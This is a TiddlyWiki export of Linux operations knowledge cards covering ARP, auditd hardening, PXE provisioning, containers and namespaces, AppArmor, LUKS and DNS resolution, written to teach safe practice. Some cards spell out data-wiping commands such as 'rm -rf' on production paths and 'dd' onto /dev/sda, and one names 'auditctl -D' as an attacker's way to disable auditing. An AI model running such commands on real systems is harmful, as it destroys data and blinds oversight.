Welcome to TiddlyWiki created by Jeremy Ruston; Copyright © 2004-2007 Jeremy Ruston, Copyright © 2007-2011 UnaMesa Association
<html><code>ip neigh flush dev eth0</code></html> deletes all cached MAC-to-IP mappings for an interface at once. On a busy server with hundreds of active connections, the kernel must simultaneously re-ARP for every destination. This creates a burst of broadcast traffic, a window where packets are queued waiting for ARP resolution, and temporary connection instability. Latency-sensitive applications (VoIP, real-time games) glitch noticeably. TCP connections survive via retransmit, but throughput drops. Instead of flushing the entire cache, delete only the stale entry with <html><code>ip neigh del 10.0.0.5 dev eth0</code></html>. Test any ARP changes in non-production first. Understand the blast radius before executing a flush.
----
''Sources''
* <html><code>training/library/topics/arp/footguns.md</code></html>
''Related atoms''
* [[ARP neighbor states and cache refresh diagnostics]]
A Linux host with multiple NICs on different subnets (e.g., eth0: 10.0.0.5/24, eth1: 10.0.1.5/24) will by default answer ARP requests for any IP it owns from any interface (<html><code>arp_ignore=0</code></html>). This causes ARP replies for 10.0.0.5 to arrive from eth1, confusing the network: traffic intended for eth0 is routed through eth1, bypassing firewall rules scoped to eth0 and potentially rejected by reverse-path filtering (<html><code>rp_filter</code></html>). Set <html><code>arp_ignore=1</code></html> so the host responds to ARP only on the interface that owns the requested IP, and <html><code>arp_announce=2</code></html> so outgoing ARP traffic advertises only the IP addresses assigned to the interface actually used for that traffic. These two settings together eliminate cross-interface ARP leakage and ARP asymmetry, ensuring traffic uses the intended interface and replies reach the correct host interface. Settings apply per-interface via <html><code>sysctl net.ipv4.conf.<interface>.*</code></html> or globally via <html><code>net.ipv4.conf.all.*</code></html>. Persistence requires entries in <html><code>/etc/sysctl.d/</code></html>.
----
''Sources''
* <html><code>training/library/topics/arp/footguns.md</code></html>
* <html><code>training/library/topics/arp/street_ops.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[ARP flush causes burst packet loss due to simultaneous re-resolution]]
* [[What is proxy ARP?]]
Linux ARP neighbor entries cycle through states: Reachable (actively confirmed), Stale (no recent confirmation), Delay (probing), Failed (no response), and Permanent (static, manual). When a ping fails despite the host being on the same subnet, check the neighbor table with <html><code>ip neigh show <ip></code></html>. A FAILED entry means the host sent an ARP request but got no reply—this indicates a cabling issue, wrong VLAN assignment, or the target is offline. Manually sending an ARP request with <html><code>arping</code></html> can confirm the target is actually there. If <html><code>arping</code></html> succeeds but ping fails, flush the stale entry with <html><code>ip neigh flush dev <interface></code></html> to force a fresh ARP resolution. The healthy cycle is Reachable → Stale → Reachable again when re-confirmed, or expiration to Failed if unresponsive.
----
''Sources''
* <html><code>training/library/topics/arp/street_ops.md</code></html>
Keeping audit logs only on the system being audited is defenseless against attackers with root access. Once compromised, an attacker's first action is to delete or alter audit logs—removing all evidence of their presence and actions. Local logs are therefore forensically worthless in a breach scenario: an attacker with root can rewrite history, selectively disable logging, or delete entries entirely.
For meaningful compliance and incident response, audit logs must be shipped off-host to a central SIEM or log aggregation system immediately, before the local system can be compromised. The central store must be append-only or immutable: S3 with Object Lock in compliance mode, WORM storage, or a dedicated audit server with restricted write access and no delete permissions. Cross-referencing local logs against the centralized copy after a breach reveals gaps, deletions, and tampering.
This is non-negotiable for regulated environments (PCI DSS, HIPAA, SOX) and best practice for any system holding sensitive data. Implement with <html><code>audisp-remote</code></html>, Filebeat, Fluentd, or rsyslog—and ensure <html><code>audisp-remote</code></html> is operational from the beginning, not installed after a breach is discovered. Without centralized, immutable log shipping, an audit trail cannot be trusted.
----
''Sources''
* <html><code>training/library/topics/audit-logging/footguns.md</code></html>
* <html><code>training/library/topics/audit-logging/street_ops.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[Syscall-level audit generates impractical data volumes]]
* [[auditd: kernel-level security audit logging for Linux]]
By default, audit rules can be modified or deleted at runtime by root. An attacker with root access can run <html><code>auditctl -D</code></html> to delete all rules, silencing auditing with no trace. Adding <html><code>-e 2</code></html> as the final directive in the audit rules configuration sets the kernel audit subsystem to locked mode: rules cannot be changed, added, or deleted until the next reboot, even by root. This makes audit logs far more trustworthy for incident response and compliance investigations.
Rules are persisted by placing them in <html><code>/etc/audit/rules.d/</code></html> (files are typically numbered, e.g., <html><code>90-custom.rules</code></html>, to control load order). Export a running config with <html><code>auditctl -l > /etc/audit/rules.d/custom.rules</code></html>, then activate with <html><code>augenrules --load</code></html>. Place <html><code>-e 2</code></html> last so immutability is applied after all other rules load.
This control is mandatory or strongly expected under PCI DSS 10.5.2 (tamper-proof audit trails) and many SOC 2 compliance regimes. The tradeoff is operational: any mistake in the rule set requires a reboot to correct. Never deploy <html><code>-e 2</code></html> to production without a comprehensive testing window—validate all rules exhaustively first. Once locked, the guarantee is strong: auditing cannot be disabled during an active session regardless of privilege level.
----
''Sources''
* <html><code>training/library/topics/audit-logging/footguns.md</code></html>
* <html><code>training/library/topics/audit-logging/street_ops.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[auditd operates at kernel level with rule-based logging]]
* [[Audit rule syntax errors disable all rules without warning]]
* [[How do you configure auditd to monitor changes to critical system files?]]
A single syntax error in <html><code>/etc/audit/rules.d/</code></html> will cause <html><code>augenrules --load</code></html> to fail completely, leaving the system with zero audit coverage. The system continues to run without reporting that auditing is disabled. Detection requires post-load verification: run <html><code>auditctl -l</code></html> to list active rules and <html><code>auditctl -s</code></html> to check for errors. Automate this verification in deployment pipelines. Testing rules on a staging system before deploying to production catches syntax errors and rule conflicts before they disable audit coverage in production.
----
''Sources''
* <html><code>training/library/topics/audit-logging/footguns.md</code></html>
''Related atoms''
* [[Audit rules immutability via -e 2 prevents runtime tampering]]
* [[auditd operates at kernel level with rule-based logging]]
The kernel audit subsystem maintains a backlog queue of events waiting to be consumed. When this queue fills (default limit 8192), new events are dropped silently. The kernel tracks drops in the <html><code>lost</code></html> counter visible via <html><code>auditctl -s</code></html>. A non-zero <html><code>lost</code></html> value means your audit trail has gaps you cannot recover. When drops occur, either increase the backlog limit in <html><code>/etc/audit/auditd.conf</code></html> (consider 32768 for busy systems) or reduce the scope of audit rules to lower event volume. Monitor <html><code>lost</code></html> in your observability system: <html><code>auditctl -s | grep lost</code></html>. If the <html><code>backlog</code></html> queue depth is consistently near the <html><code>backlog_limit</code></html>, increase the limit before you start losing events.
----
''Sources''
* <html><code>training/library/topics/audit-logging/footguns.md</code></html>
''Related atoms''
* [[auditd: kernel-level security audit logging for Linux]]
The Linux audit daemon hooks into the kernel's syscall exit path, capturing file access and privilege-escalation events before they reach userspace. This placement is critical: a process cannot bypass audit logging without explicitly disabling the audit subsystem — and that disable itself generates an audit event. auditd uses two rule types: file watches (e.g., <html><code>-w /etc/passwd -p wa -k identity</code></html>) trigger on reads, writes, or attribute changes to a specified path; syscall rules (e.g., <html><code>-a always,exit -F arch=b64 -S execve -k commands</code></html>) hook specific syscalls like <html><code>execve()</code></html>. Rules are tagged with a key (<html><code>-k</code></html>), which becomes a searchable label. Permission flags follow the RWXA mnemonic: read (<html><code>r</code></html>), write (<html><code>w</code></html>), execute (<html><code>x</code></html>), and attribute change (<html><code>a</code></html>). Most production rules use <html><code>-p wa</code></html> on sensitive files to catch writes and metadata changes. Keys matter: without them, searching audit logs means scanning raw syscall numbers and UIDs; with keys, you filter by intent. The audit daemon writes to <html><code>/var/log/audit/audit.log</code></html>, but can forward to remote syslog or SIEM systems.
----
''Sources''
* <html><code>training/library/topics/audit-logging/primer.md</code></html>
''Related atoms''
* [[How to log all commands run by root on production servers?]]
* [[Syscall-level audit generates impractical data volumes]]
* [[Audit rules that log everything create noise and hide security signals]]
The Linux Audit Framework can be configured to log every system call made on a machine — every open(), read(), write(), fork(), and thousands of other kernel entry points. The theoretical capability is powerful: complete visibility into every operation. In practice, syscall logging on a busy system generates tens of gigabytes per day, making storage and analysis infeasible. Only extremely high-security environments — classified government systems, certain banking environments — tolerate this level of auditing. For most organizations, selective audit rules (logging only authentication, file access, or privilege escalation) balance visibility and practicality.
----
''Sources''
* <html><code>training/library/topics/audit-logging/trivia.md</code></html>
''Related atoms''
* [[Audit rules that log everything create noise and hide security signals]]
* [[auditd: kernel-level security audit logging for Linux]]
* [[Audit logs must be shipped off-host to remain trustworthy]]
During OS installation on a headless server, the kernel and installer output go to the default console, which may be a VGA port connected to nothing. With no visibility into boot messages or installation progress, the installer may hang on a prompt, stall due to hardware initialization, or fail silently. The output must be redirected to the serial console: add <html><code>console=tty0 console=ttyS1,115200n8</code></html> to the kernel boot arguments to output to both the physical console (for machines with displays) and the serial port. Configure the kickstart for fully unattended operation—no prompts—so the installer can proceed even without serial access. Serial console visibility allows diagnosis of boot failures and installer stalls.
----
''Sources''
* <html><code>training/library/topics/bare-metal-provisioning/footguns.md</code></html>
''Related atoms''
* [[How do you debug boot failures remotely?]]
PXE (Preboot Execution Environment) bootstraps servers from the network without local media. The NIC firmware broadcasts a DHCP DISCOVER; the DHCP server responds with an IP address, a next-server (TFTP server IP), and a bootloader filename. The server downloads the bootloader via TFTP, which then loads the kernel and initial ramdisk (initramfs), and the kernel starts an automated installer (Kickstart, Preseed, or Autoinstall).
Modern setups chainload from PXE to iPXE to avoid TFTP slowness: PXE loads the iPXE bootloader, then iPXE uses HTTP to fetch the kernel and initrd — faster and more flexible. UEFI and legacy BIOS require different bootloaders; DHCP detects the client architecture via the vendor-class-identifier option and serves the correct file.
PXE is the foundational mechanism for zero-touch provisioning: without a reliable PXE stack, automated OS deployment at scale is not possible.
----
''Sources''
* <html><code>training/library/topics/bare-metal-provisioning/primer.md</code></html>
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
//Merged from 2 source atoms.//
The setuid, setgid, and sticky bits in file permissions are controlled by the leading octal digit in chmod notation. Omitting this digit (e.g., <html><code>chmod 755</code></html> instead of <html><code>chmod 4755</code></html>) silently removes the special bit, often without warning. Similarly, capability flag checks fail when the wrong constant value is used — mixing the capability number with its bitmask position. The fix is to never rely on memory: use the explicit leading digit for special bits, or better yet, use symbolic notation (<html><code>chmod u+s file</code></html>) which is self-documenting. For capabilities, always reference defined constants from headers or libraries rather than hardcoding bit positions. Verify results with <html><code>stat -c '%a'</code></html> after changing permissions.
----
''Sources''
* <html><code>training/library/topics/binary-and-floats/footguns.md</code></html>
''Related atoms''
* [[Permission-setting anti-patterns]]
* [[Four Linux access-control systems]]
* [[How do you change file permissions on Linux?]]
Cgroups (control groups) limit resource consumption; without them, a single container could starve the entire system of CPU, memory, or I/O. Cgroups v1 uses separate hierarchies for each resource controller (cpu, memory, blkio, pids, etc.), making them complex and error-prone for delegation. Cgroups v2 provides a single unified hierarchy with cleaner delegation to unprivileged processes and built-in Pressure Stall Information (PSI) that indicates whether a cgroup is resource-starved, not just how much it is using. Modern distributions (Ubuntu 22.04+, Fedora 31+, RHEL 9+) default to v2. Key controllers include CPU (quota/period), memory (hard limit via memory.max, soft limit via memory.high), PIDs (fork-bomb prevention), and I/O (per-device bandwidth limits). Checking container resource limits can be done via docker inspect or by reading the cgroup files directly inside the container (<html><code>/sys/fs/cgroup/memory.max</code></html>, <html><code>/sys/fs/cgroup/cpu.max</code></html>). PSI provides entries for memory, CPU, and I/O pressure, showing the percentage of time tasks were stalled waiting for resources.
----
''Sources''
* <html><code>training/library/topics/containers-deep-dive/primer.md</code></html>
''Related atoms''
* [[cgroups: Google's solution for resource isolation on shared fleets]]
* [[What are cgroups (control groups) and how does Linux use them for resource limits?]]
<html><code>nsenter</code></html> (util-linux, authored by Karel Zak ~2012) enters one or more of a running process's Linux namespaces and executes a command there, leaving all other namespaces unchanged. This is the primary technique for debugging containers without installing tools inside the image or rebuilding it—critical when the container is broken, has no shell, or is a minimal image.
Containers achieve isolation via kernel namespaces (network, mount, PID, IPC, UTS, user). Each process exposes these at <html><code>/proc/$PID/ns/</code></html> as symlinks; the inode number identifies the namespace instance. Comparing inodes confirms isolation: <html><code>readlink /proc/1/ns/net</code></html> vs. <html><code>readlink /proc/$CONTAINER_PID/ns/net</code></html> will differ for isolated containers.
<html><code>nsenter</code></html> uses those file descriptors directly. Workflow: obtain the container PID (<html><code>docker inspect --format '{{.State.Pid}}' myapp</code></html>), then run <html><code>sudo nsenter -t <PID> -n <command></code></html>. The <html><code>-n</code></html> flag enters only the network namespace while keeping the host's mount namespace—giving full access to host binaries and libraries against the container's network stack.
Namespace flags: <html><code>-n</code></html> (network), <html><code>-m</code></html> (mount), <html><code>-p</code></html> (PID), <html><code>-u</code></html> (UTS/hostname), <html><code>-i</code></html> (IPC). Example: <html><code>sudo nsenter -t $PID -n tcpdump -i eth0</code></html> captures exactly what the container sees. <html><code>nsenter -t $PID -m ls /</code></html> shows its filesystem root. Works with any container runtime (Docker, Podman, nerdctl, CRI-O, LXC). Before <html><code>kubectl debug</code></html> and <html><code>docker exec</code></html> became standard, <html><code>nsenter</code></html> was the primary container introspection method.
----
''Sources''
* <html><code>training/library/topics/cgroups-namespaces/street_ops.md</code></html>
* <html><code>training/library/topics/containers-deep-dive/trivia.md</code></html>
* <html><code>training/library/topics/proc-filesystem/street_ops.md</code></html>
//Merged from 3 source atoms.//
''Related atoms''
* [[Linux namespaces isolate process visibility across seven distinct resource types]]
Cisco's NX-OS, designed for Nexus data center switches starting in 2008, represented an explicit departure from the monolithic IOS model. Rather than running all protocols and services in a single kernel, NX-OS runs each protocol (BGP, OSPF, etc.) as a separate Linux process. This modular process architecture was a direct acknowledgment that IOS's monolithic design could not meet the reliability and isolation requirements of modern data center environments. The shift from monolithic to modular design allowed faults in one protocol to remain contained without crashing the entire switch, demonstrating how platform evolution reflects changing infrastructure demands.
----
''Sources''
* <html><code>training/library/topics/cisco-fundamentals-for-devops/trivia.md</code></html>
''Related atoms''
* [[Linux decomposes into kernel, userspace, and distribution packaging]]
Chainguard created Wolfi in 2022 as the first Linux distribution built from the ground up for containers, not as an adaptation of a general-purpose OS. Wolfi has no kernel (containers share the host kernel), uses Alpine's apk package manager but links against glibc instead of musl (avoiding Alpine's compatibility footguns), and every package includes SBOM metadata and provenance attestations. This is a step beyond distroless or chiseled images — rather than removing packages from an existing OS, Wolfi starts with a container-first premise and includes only what a containerized application needs. The name references Octopus wolfi, the world's smallest octopus, reflecting the philosophy of minimal size.
----
''Sources''
* <html><code>training/library/topics/container-images/trivia.md</code></html>
''Related atoms''
* [[Independent distros offer specialized niches and philosophies]]
Containers are not virtual machines and should not be understood as such. They are processes running on a shared Linux kernel, isolated by kernel primitives (namespaces, cgroups, seccomp) that have existed for over a decade. A shallow understanding of <html><code>docker run</code></html> is insufficient for operations, debugging, or security. When containers break — and they will — shallow knowledge leaves operators helpless. Effective container work requires understanding the underlying Linux primitives that make isolation work: how namespaces restrict visibility, how cgroups enforce resource limits, how the image format packages code, and how networking and storage models connect containers. These fundamentals are the foundation of every debugging session, performance investigation, and security audit.
----
''Sources''
* <html><code>training/library/topics/containers-deep-dive/primer.md</code></html>
''Related atoms''
* [[Containers vs. VMs: kernel sharing vs. hardware virtualization]]
* [[docker run instantiates five namespaces and a cgroup in ~100ms]]
Namespaces are the isolation primitive that enables containers. Each namespace type restricts what a process can see of a particular system resource. The seven namespace types are: PID (process tree), NET (network stack), MNT (filesystem mounts), UTS (hostname), IPC (message queues), USER (UID mapping), and CGROUP (cgroup hierarchy). PID namespace is special: PID 1 inside the container is the init process, and if it exits, the entire container stops. Without a proper init process that reaps children (like tini or dumb-init), zombie processes accumulate. The NET namespace gives each container its own interfaces, IP addresses, routing table, and iptables rules. The USER namespace enables [[rootless containers|Rootless containers]] by mapping container root (UID 0) to an unprivileged host UID. Namespaces can be entered selectively from the host using nsenter, allowing fine-grained debugging. The <html><code>/proc/<pid>/ns/</code></html> directory exposes symlinks to each process's namespaces, allowing inspection of which processes share namespaces.
----
''Sources''
* <html><code>training/library/topics/containers-deep-dive/primer.md</code></html>
''Related atoms''
* [[nsenter joins container namespaces from host for tool-free debugging]]
The Open Container Initiative (OCI) is an open governance body established in 2015 to standardize container image format and runtime, with Docker among its founding participants. OCI publishes two core specifications:
''Image Spec'' (<html><code>opencontainers/image-spec</code></html>): Describes a container image as a manifest (layer digests), a config (environment, entrypoint, architecture), and layers (compressed tar diffs).
''Runtime Spec'' (<html><code>opencontainers/runtime-spec</code></html>): Prescribes the execution environment via <html><code>config.json</code></html>, covering root filesystem path, mounts, process arguments, capabilities, namespace configuration, cgroups path, seccomp profile, AppArmor/SELinux labels, and lifecycle hooks.
Because both image and engine conform to these specs, a Docker image built on one machine can run on any OCI-compliant runtime — runc, crun, gVisor, or Kata — without modification. Portability is the direct consequence of both sides honoring the same contract.
----
''Sources''
* <html><code>training/library/topics/containers-deep-dive/primer.md</code></html>
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
* <html><code>training/interactive/knowledge/data/cards/docker-ops.tsv</code></html>
//Merged from 2 source atoms.//
When a process crashes inside a container, the core dump is written according to the host's /proc/sys/kernel/core_pattern, not the container's. If the pattern references a path that does not exist in the container's filesystem, the dump is silently discarded. Additionally, core dumps reference the container's libraries at specific paths, so analyzing them on the host requires mapping or extracting the container's filesystem. Kubernetes has no built-in core dump collection, making crash debugging difficult without explicit sidecar or hostPath setup.
----
''Sources''
* <html><code>training/library/topics/containers-deep-dive/trivia.md</code></html>
Modifying a configuration file in-place without first creating a backup means the original content is permanently gone if the new version is wrong. Unlike version control, a direct overwrite deletes the only fallback. Recovery then requires manual reconstruction from memory, vendor defaults, grepping through external backups, or contacting colleagues—if any of those paths exist at all.
Configuration files are load-bearing: they control how services behave, where data is stored, and what dependencies are available. A syntax error, incorrect value, or unintended behavioral change can break services entirely. Under time pressure, skipping the backup feels justified—seconds saved—but the cost of a botched edit is hours or days of reconstruction, not seconds.
Prevention options, in increasing robustness:
# ''Snapshot copy before every edit:'' <html><code>cp file file.bak</code></html> takes milliseconds and gives a single rollback point.
# ''Shell alias:'' <html><code>alias config-edit='cp $1 $1.bak && $EDITOR $1'</code></html> makes the backup automatic.
# ''Version control:'' <html><code>git commit</code></html> before editing, then <html><code>git diff</code></html> and <html><code>git checkout</code></html> to revert. This is the only approach that preserves not just today's version but yesterday's and a month ago's.
A safe workflow: <html><code>cp file file.bak && edit file && validate && reload service</code></html>. Keep the <html><code>.bak</code></html> until the service is confirmed healthy. The backup cost is negligible; the reconstruction cost after a bad edit is not.
----
''Sources''
* <html><code>training/library/topics/cron-scheduling/anti_primer.md</code></html>
* <html><code>training/library/topics/grep-and-regex/anti_primer.md</code></html>
* <html><code>training/library/topics/disk-and-storage-ops/anti_primer.md</code></html>
* <html><code>training/library/topics/fd/anti_primer.md</code></html>
* <html><code>training/library/topics/inodes/anti_primer.md</code></html>
* <html><code>training/library/topics/linux-boot-process/anti_primer.md</code></html>
* <html><code>training/library/topics/linux-logging/anti_primer.md</code></html>
* <html><code>training/library/topics/modern-cli/anti_primer.md</code></html>
* <html><code>training/library/topics/linux-memory-management/anti_primer.md</code></html>
* <html><code>training/library/topics/linux-ops/anti_primer.md</code></html>
* <html><code>training/library/topics/proc-filesystem/anti_primer.md</code></html>
* <html><code>training/library/topics/process-management/anti_primer.md</code></html>
//Merged from 7 source atoms.//
''Related atoms''
* [[Modifying config files in-place without backup guarantees data loss]]
* [[Root cause: config changes without backup lose original content]]
* [[Many basic maintenance tasks require you to edit config files. Explain ways to undo the…]]
Destructive commands—<html><code>rm</code></html>, <html><code>dd</code></html>, <html><code>mkfs</code></html>, <html><code>fsck</code></html>, <html><code>rsync --delete</code></html>, <html><code>shred</code></html>—operate instantly, provide no confirmation prompt, and have no undo. A single typo in a target path or device name destroys the wrong data: <html><code>rm -rf /var/databases/prod/*</code></html> instead of <html><code>/var/data/logs/*</code></html>, or <html><code>dd if=/dev/zero of=/dev/sda</code></html> instead of <html><code>/dev/sdb</code></html>. Recovery depends entirely on whether a recent, tested backup exists; if none does, the data is permanently gone. <html><code>dd</code></html> and <html><code>mkfs</code></html> can wipe entire disks in seconds. Pipelines like <html><code>find ... | xargs rm</code></html> compound the risk—an unchecked <html><code>find</code></html> output can expand far beyond intent.
Prevention is multi-layered. Before executing: verify the target path with <html><code>ls</code></html> or <html><code>echo</code></html>, verify device names with <html><code>lsblk</code></html>, and read the full command aloud to catch transcription errors. Use <html><code>--dry-run</code></html> or <html><code>-n</code></html> flags where available (<html><code>rsync --dry-run</code></html>, <html><code>ansible --check</code></html>); use <html><code>-i</code></html> (interactive) for <html><code>rm</code></html> in non-automated contexts; use <html><code>-v</code></html> to at least leave an audit trail when dry-run is unavailable. Construct the command, pause deliberately—3 seconds catches a large fraction of typos—then execute. For critical operations, a peer review before execution is standard practice. In scripts, wrap destructive commands with a logged confirmation step rather than executing silently. Consider aliases that redirect <html><code>rm</code></html> to a trash directory. Some production environments prohibit <html><code>rm -rf</code></html> outright, requiring explicit file listing or archive-based deletion instead. The seconds spent on verification are orders of magnitude cheaper than the hours or days of recovery—and not all data can be recovered at any cost.
----
''Sources''
* <html><code>training/library/topics/cron-scheduling/anti_primer.md</code></html>
* <html><code>training/library/topics/disk-and-storage-ops/anti_primer.md</code></html>
* <html><code>training/library/topics/environment-variables/anti_primer.md</code></html>
* <html><code>training/library/topics/fd/anti_primer.md</code></html>
* <html><code>training/library/topics/inodes/anti_primer.md</code></html>
* <html><code>training/library/topics/linux-boot-process/anti_primer.md</code></html>
* <html><code>training/library/topics/grep-and-regex/anti_primer.md</code></html>
* <html><code>training/library/topics/linux-memory-management/anti_primer.md</code></html>
* <html><code>training/library/topics/linux-ops/anti_primer.md</code></html>
* <html><code>training/library/topics/linux-logging/anti_primer.md</code></html>
* <html><code>training/library/topics/linux-performance/anti_primer.md</code></html>
* <html><code>training/library/topics/modern-cli/anti_primer.md</code></html>
* <html><code>training/library/topics/proc-filesystem/anti_primer.md</code></html>
* <html><code>training/library/topics/process-management/anti_primer.md</code></html>
//Merged from 12 source atoms.//
''Related atoms''
* [[mkfs destroys a filesystem instantly with no confirmation or undo]]
* [[Unset shell variables in destructive commands expand to dangerous paths]]
The <html><code>at</code></html> command schedules a one-time command to run at a specified future time. Time can be expressed as an absolute value (<html><code>at 2:00 AM tomorrow</code></html>), a relative interval (<html><code>at now + 2 hours</code></html>), or natural-language forms the system parses. Commands are read from stdin: <html><code>echo "backup.sh" | at 2:00 AM tomorrow</code></html>. Once scheduled, manage jobs with <html><code>atq</code></html> (list pending queue), <html><code>at -c <id></code></html> (inspect a job's full command), and <html><code>atrm <id></code></html> (cancel a job). The <html><code>batch</code></html> command is a variant that ignores a specified time and instead waits until system load average drops below 1.5 before executing — suited for resource-intensive tasks that should not compete with interactive work. Both <html><code>at</code></html> and <html><code>batch</code></html> are one-shot executors: the job runs once and is automatically removed from the queue, unlike cron which handles recurring schedules. Both depend on the <html><code>atd</code></html> daemon; verify it is running with <html><code>systemctl status atd</code></html>.
----
''Sources''
* <html><code>training/library/topics/cron-scheduling/street_ops.md</code></html>
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[How do you schedule tasks periodically?]]
AppArmor is a Linux Security Module (LSM) implementing Mandatory Access Control (MAC) via path-based profiles. It is the default MAC system on Debian 10+, Ubuntu, and SUSE — in contrast to SELinux, which is used on RHEL and applies label-based confinement to all processes uniformly from boot.
AppArmor ships enabled by default on Debian/Ubuntu, but most processes run unconfined because profiles for them have not been loaded. Running <html><code>aa-status</code></html> typically shows only a handful of profiled binaries — usually snap apps and a few system daemons. The system is active but protecting very little until profiles are created or installed.
Profiles define what a process may access: files (e.g., <html><code>/var/www/** r</code></html>), POSIX capabilities, and network access (e.g., <html><code>network inet stream</code></html>). Each profile operates in one of three modes: <html><code>enforce</code></html> (violations blocked and logged), <html><code>complain</code></html> (violations logged but allowed — used for debugging and profile development), or <html><code>disabled</code></html> (profile not loaded).
Key commands: <html><code>aa-status</code></html> (check status and loaded profiles), <html><code>aa-complain</code></html> (switch a profile to learning mode), <html><code>aa-enforce</code></html> (switch to blocking mode), <html><code>aa-logprof</code></html> (generate rules from logged violations). The standard workflow for a new profile is: load it in complain mode, exercise the application, run <html><code>aa-logprof</code></html> to refine rules from logs, then switch to enforce.
AppArmor's path-based approach is easier to learn than SELinux's label system, but it only confines explicitly profiled binaries — unconfined processes receive no additional restriction.
----
''Sources''
* <html><code>training/library/topics/debian-ubuntu/primer.md</code></html>
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[SELinux vs AppArmor: MAC models compared]]
* [[AppArmor uses path-based rules instead of SELinux's label complexity]]
* [[What are AppArmor's two modes?]]
SSHing directly as root or running commands with root privileges removes the filesystem permission boundaries that normally protect system files from operator mistakes. A typo in a path, argument, or variable expansion runs with full root privileges — a destructive command like <html><code>rm -rf /var/lib /var</code></html> or a bad shell glob (<html><code>rm -rf /var/tmp_logs/*</code></html> instead of <html><code>/var/tmp/logs/*</code></html>) becomes catastrophic, destroying directory trees that an unprivileged account could never have touched. The same typo in a regular user shell fails with "permission denied."
The mitigation is least privilege: disable direct root SSH login, do all routine work as an unprivileged user, and elevate only for specific justified commands via <html><code>sudo</code></html>. Sudo confines damage to what the invoking user owns, creates an audit trail, and enforces explicit allowlists rather than blanket access. Root access is appropriate for rare administrative tasks, not as a general convenience shortcut. Operators trained to use <html><code>sudo</code></html> for everything make fewer catastrophic mistakes over a career — the time saved by skipping sudo is lost many times over when recovering from a root-context error.
----
''Sources''
* <html><code>training/library/topics/disk-and-storage-ops/anti_primer.md</code></html>
* <html><code>training/library/topics/environment-variables/anti_primer.md</code></html>
* <html><code>training/library/topics/fd/anti_primer.md</code></html>
* <html><code>training/library/topics/modern-cli/anti_primer.md</code></html>
* <html><code>training/library/topics/grep-and-regex/anti_primer.md</code></html>
* <html><code>training/library/topics/process-management/anti_primer.md</code></html>
//Merged from 5 source atoms.//
''Related atoms''
* [[Running as Root Directly Converts Typos Into Uncontained System Damage]]
Linux exposes storage hardware as block devices with predictable names (sdX for SATA/SAS, nvme0n1 for NVMe, vdX for virtio), but these names are assigned in discovery order. A USB drive plugged in during boot, a PCI slot repopulation, or a firmware update can shift which drive gets which letter, breaking your fstab and boot process. The solution is to mount by stable identifier: UUID (filesystem-assigned at format time), label (human-assigned), or WWN (hardware-assigned). These survive driver enumeration changes and reboots. The kernel exposes these identifiers as symlinks in <html><code>/dev/disk/by-uuid/</code></html>, <html><code>/dev/disk/by-label/</code></html>, and <html><code>/dev/disk/by-id/</code></html>, making it easy to reference them in fstab and automation. Always use one of these stable forms in production; <html><code>/dev/sdX</code></html> is only safe for manual operations or documentation.
----
''Sources''
* <html><code>training/library/topics/disk-and-storage-ops/primer.md</code></html>
''Related atoms''
* [[Why should you use UUIDs instead of /dev/sdX device names in /etc/fstab, and how do you…]]
* [[What is the advantage of using /dev/disk/by-id/ instead of /dev/sdX in fstab?]]
* [[Using UUIDs in fstab instead of device paths prevents mount failures across disk changes]]
LUKS (Linux Unified Key Setup) is the standard for Linux disk encryption. It stores encryption metadata in a header on the partition and uses dm-crypt as the kernel-level encryption layer. <html><code>cryptsetup luksFormat</code></html> initializes encryption on a block device; <html><code>luksOpen</code></html> decrypts and maps it to <html><code>/dev/mapper/<name></code></html>, which then behaves like a normal block device visible to filesystems and applications. LUKS supports up to 8 key slots, allowing multiple passphrases or keyfiles to unlock the same volume. For headless servers, a keyfile avoids boot-time prompts; for interactive systems, passphrase unlock is standard. Entries in <html><code>crypttab</code></html> and <html><code>fstab</code></html> make encrypted mounts persistent across reboots. The encrypted device can be backed by any storage — local disk, iSCSI LUN, or loop device. Encryption is transparent to filesystems and applications once the volume is unlocked.
----
''Sources''
* <html><code>training/library/topics/disk-and-storage-ops/primer.md</code></html>
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[What is dm-crypt?]]
* [[Describe the Linux storage stack from application down to hardware.]]
* [[What is the Device Mapper in Linux, and which storage technologies depend on it?]]
<html><code>/etc/resolv.conf</code></html> traditionally specifies recursive resolvers and search paths. <html><code>nameserver</code></html> lines list up to 3 recursive resolver IPs, tried in order with failover on timeout. <html><code>search</code></html> lists domain suffixes appended to short names: <html><code>app</code></html> becomes <html><code>app.example.com</code></html>, then <html><code>app.internal.example.com</code></html>. The <html><code>ndots</code></html> option controls this: if a name has fewer dots than <html><code>ndots</code></html> (default 1), search domains are tried first; otherwise the name is tried as-is. Kubernetes sets <html><code>ndots: 5</code></html> to try fully-qualified names first and only append search domains after 5 dots are found. <html><code>timeout</code></html> and <html><code>attempts</code></html> tune how long to wait per resolver and how many times to retry the full list. This file is the traditional interface for stub resolvers (OS DNS clients). Modern systems often symlink it to systemd-resolved's stub resolver at <html><code>127.0.0.53</code></html> rather than pointing to external resolvers.
----
''Sources''
* <html><code>training/library/topics/dns-deep-dive/primer.md</code></html>
systemd-resolved is systemd's DNS resolver daemon and the modern local caching stub resolver on Linux. It listens on <html><code>127.0.0.53:53</code></html>, manages DNS per-interface, and supports DNSSEC, DNS-over-TLS, and LLMNR.
''Global configuration'' lives in <html><code>/etc/systemd/resolved.conf</code></html> under <html><code>[Resolve]</code></html>:
* <html><code>DNS=10.0.1.10 10.0.1.11</code></html> — specify upstream recursive resolvers
* <html><code>FallbackDNS=</code></html> — fallback for outages
* <html><code>Domains=example.com</code></html> — default search domain
* <html><code>DNSSECValidation=yes</code></html> — enable DNSSEC
* <html><code>DNSOverTLS=yes</code></html> — encrypted DNS transport
''Per-interface override'' takes precedence over global settings: <html><code>resolvectl dns eth0 10.0.1.10</code></html>.
''Operational commands:''
* <html><code>resolvectl status</code></html> — show current resolver state per interface
* <html><code>resolvectl flush-caches</code></html> — flush the DNS cache
* <html><code>resolvectl statistics</code></html> — view cache hit/miss stats
